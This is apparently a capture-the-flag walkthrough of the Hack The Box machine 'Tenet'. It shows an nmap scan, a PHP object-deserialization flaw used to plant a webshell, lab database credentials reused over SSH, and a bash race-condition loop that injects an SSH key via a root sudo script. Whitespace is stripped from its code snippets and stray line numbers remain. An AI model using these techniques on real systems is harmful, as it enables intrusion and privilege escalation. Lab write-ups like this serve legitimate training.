# Nmap 7.91 scan initiated Sun May 2 16:12:39 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.10.223
Nmap scan report for 10.10.10.223
Host is up (0.028s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 2 16:13:14 2021 -- 1 IP address (1 host up) scanned in 36.61 seconds
While you don’t find there is a file sator.php hosted on tenet.htb you have to
guess it’s served with the IP address http://10.10.10.223/sator.php (default fallback vhost probably).
1
2
[+] Grabbing users from text file
[] Database updated
<?phpclassDatabaseExport{public$user_file='users.txt';public$data='';publicfunctionupdate_db(){echo'[+] Grabbing users from text file <br>';$this->data='Success';}publicfunction__destruct(){file_put_contents(__DIR__.'/'.$this->user_file,$this->data);echo'[] Database updated <br>';// echo 'Gotta get this working properly...';
}}$input=$_GET['arepo']??'';$databaseupdate=unserialize($input);$app=newDatabaseExport;$app->update_db();?>
There is a PHP deserialization here that allow us to upload any arbitrary content.
We can even find a similar case on security stackexchange.
My PoC to generate the serialized webshell payload:
.../** MySQL database username */define('DB_USER','neil');/** MySQL database password */define('DB_PASSWORD','Opera2112');/** MySQL hostname */define('DB_HOST','localhost');...
We can re-use DB password over SSH: ssh neil@tenet.htb.
Privilege Escalation of Machine : from neil to root#
1
2
3
4
5
6
7
$ sudo -l
Matching Defaults entries for www-data on tenet:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User www-data may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
A script can be run as root via sudo: /usr/local/bin/enableSSH.sh
Since mktemp will create a random file we need to make a race condition
to write our SSH pub key into it.
1
2
3
4
5
6
7
8
#!/bin/bash
key='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINDGLndVd+2+y7FE7nVTrMtBvPiLNTMgObVw8s7d9B8n cyfun@penarch'whiletruedoecho$key| tee /tmp/ssh-* > /dev/null
done
We execute that while running sudo /usr/local/bin/enableSSH.sh.
Several tries may be necessary because race conditions doesn’t always work the 1st time.